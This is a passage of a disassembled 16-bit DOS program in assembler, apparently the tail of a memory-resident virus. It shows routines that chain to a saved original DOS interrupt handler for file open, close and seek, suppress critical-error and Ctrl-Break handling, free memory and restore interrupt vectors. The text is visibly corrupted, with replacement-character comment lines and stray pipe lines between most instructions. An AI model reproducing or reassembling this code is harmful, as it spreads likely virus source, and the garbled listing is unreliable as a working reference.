mov ax,ds:data_55e ; (8344:10B1=0)
|
|||
|
mov data_48,ax ; (8344:08FE=0)
|
|||
|
mov ax,ds:data_56e ; (8344:10B3=0)
|
|||
|
mov ds:data_49e,ax ; (8344:0900=0)
|
|||
|
loc_75:
|
|||
|
xor ax,ax ; Zero register
|
|||
|
xor dx,dx ; Zero register
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_12:
|
|||
|
sub ax,data_37 ; (8344:08D0=0)
|
|||
|
sbb dx,data_38 ; (8344:08D2=0)
|
|||
|
jc loc_76 ; Jump if carry Set
|
|||
|
jnz loc_ret_79 ; Jump if not zero
|
|||
|
sub bx,ax
|
|||
|
jbe loc_ret_79 ; Jump if below or =
|
|||
|
add di,ax
|
|||
|
jmp short loc_77 ; (07E2)
|
|||
|
loc_76:
|
|||
|
neg ax
|
|||
|
adc dx,0
|
|||
|
neg dx
|
|||
|
jnz loc_ret_79 ; Jump if not zero
|
|||
|
sub cx,ax
|
|||
|
jbe loc_ret_79 ; Jump if below or =
|
|||
|
add si,ax
|
|||
|
loc_77:
|
|||
|
cmp cx,bx
|
|||
|
jbe loc_78 ; Jump if below or =
|
|||
|
mov cx,bx
|
|||
|
loc_78:
|
|||
|
cld ; Clear direction
|
|||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
|
|||
|
loc_ret_79:
|
|||
|
retn
|
|||
|
sub_11 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_13 proc near
|
|||
|
pushf ; Push flags
|
|||
|
call sub_24 ; (0884)
|
|||
|
mov ah,49h ; 'I'
|
|||
|
push ds
|
|||
|
pop es
|
|||
|
int 21h ; DOS Services ah=function 49h
|
|||
|
; release memory block, es=seg
|
|||
|
mov ah,49h ; 'I'
|
|||
|
mov es,ds:data_8e ; (0046:002C=50h)
|
|||
|
int 21h ; DOS Services ah=function 49h
|
|||
|
; release memory block, es=seg
|
|||
|
mov ah,50h ; 'P'
|
|||
|
mov bx,ds:data_7e ; (0046:0016=0)
|
|||
|
int 21h ; DOS Services ah=function 50h
|
|||
|
; set active PSP segmnt from bx
|
|||
|
mov ax,2522h
|
|||
|
lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
call sub_25 ; (0896)
|
|||
|
popf ; Pop flags
|
|||
|
retn
|
|||
|
sub_13 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_14 proc near
|
|||
|
mov si,dx
|
|||
|
cmp byte ptr [si],0FFh
|
|||
|
jne loc_ret_80 ; Jump if not equal
|
|||
|
add si,7
|
|||
|
|
|||
|
loc_ret_80:
|
|||
|
retn
|
|||
|
sub_14 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_15 proc near
|
|||
|
call sub_24 ; (0884)
|
|||
|
call sub_14 ; (0814)
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov dx,904h
|
|||
|
mov di,dx
|
|||
|
cld ; Clear direction
|
|||
|
lodsb ; String [si] to al
|
|||
|
or al,al ; Zero ?
|
|||
|
jz loc_81 ; Jump if zero
|
|||
|
add al,40h ; '@'
|
|||
|
mov ah,3Ah ; ':'
|
|||
|
stosw ; Store ax to es:[di]
|
|||
|
loc_81:
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
mov al,2Eh ; '.'
|
|||
|
stosb ; Store al to es:[di]
|
|||
|
movsw ; Mov [si] to es:[di]
|
|||
|
movsb ; Mov [si] to es:[di]
|
|||
|
xor al,al ; Zero register
|
|||
|
stosb ; Store al to es:[di]
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
call sub_3 ; (0519)
|
|||
|
call sub_25 ; (0896)
|
|||
|
retn
|
|||
|
sub_15 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_16 proc near
|
|||
|
push ax
|
|||
|
mov ax,cs
|
|||
|
jmp short loc_82 ; (0854)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_17:
|
|||
|
push ax
|
|||
|
xor ax,ax ; Zero register
|
|||
|
loc_82:
|
|||
|
push bx
|
|||
|
push ds
|
|||
|
mov bx,cs
|
|||
|
dec bx
|
|||
|
mov ds,bx
|
|||
|
mov ds:data_16e,ax ; (8343:0001=0FFFFh)
|
|||
|
pop ds
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
sub_16 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_18 proc near
|
|||
|
mov ax,3D00h
|
|||
|
jmp short loc_83 ; (0879)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_19:
|
|||
|
mov ah,3Eh ; '>'
|
|||
|
jmp short loc_83 ; (0879)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_20:
|
|||
|
mov ax,4200h
|
|||
|
jmp short loc_83 ; (0879)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_21:
|
|||
|
mov ax,4202h
|
|||
|
jmp short loc_83 ; (0879)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_22:
|
|||
|
push word ptr [bp+6]
|
|||
|
popf ; Pop flags
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_23:
|
|||
|
loc_83:
|
|||
|
pushf ; Push flags
|
|||
|
cli ; Disable interrupts
|
|||
|
call dword ptr cs:data_20 ; (8344:08AB=0)
|
|||
|
retn
|
|||
|
sub_18 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; External Entry Point
|
|||
|
;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
int_24h_entry proc far
|
|||
|
mov al,3
|
|||
|
int_24h_entry endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; External Entry Point
|
|||
|
;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
int_23h_entry proc far
|
|||
|
iret ; Interrupt return
|
|||
|
int_23h_entry endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_24 proc near
|
|||
|
pop cs:data_32 ; (8344:08C7=0)
|
|||
|
push ds
|
|||
|
push dx
|
|||
|
push es
|
|||
|
push bx
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
jmp short loc_84 ; (08A6)
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_25:
|
|||
|
pop cs:data_32 ; (8344:08C7=0)
|
|||
|
mov sp,bp
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
pop bx
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
loc_84:
|
|||
|
jmp word ptr cs:data_32 ; (8344:08C7=0)
|
|||
|
data_20 dd 00000h
|
|||
|
data_21 dd 00000h
|
|||
|
data_22 dw 0, 8344h
|
|||
|
data_24 dw 0, 8344h
|
|||
|
data_26 dw 0, 8344h
|
|||
|
data_28 dw 0, 8344h
|
|||
|
data_30 dw 0, 8344h
|
|||
|
data_32 dw 0
|
|||
|
data_33 db 0
|
|||
|
data_34 dw 0
|
|||
|
data_35 dw 0
|
|||
|
data_36 dw 0
|
|||
|
data_37 dw 0
|
|||
|
data_38 dw 0
|
|||
|
data_39 dw 0
|
|||
|
db 12 dup (0)
|
|||
|
data_41 dw 0
|
|||
|
data_42 dw 0
|
|||
|
data_43 dd 00000h
|
|||
|
data_45 dw 0
|
|||
|
db 0, 0, 0, 0
|
|||
|
data_46 dw 0
|
|||
|
data_47 dw 0
|
|||
|
db 10 dup (0)
|
|||
|
data_48 dw 0
|
|||
|
sub_24 endp
|
|||
|
|
|||
|
|
|||
|
seg_a ends
|
|||
|
|
|||
|
|
|||
|
|
|||
|
end start
|
|||
|
|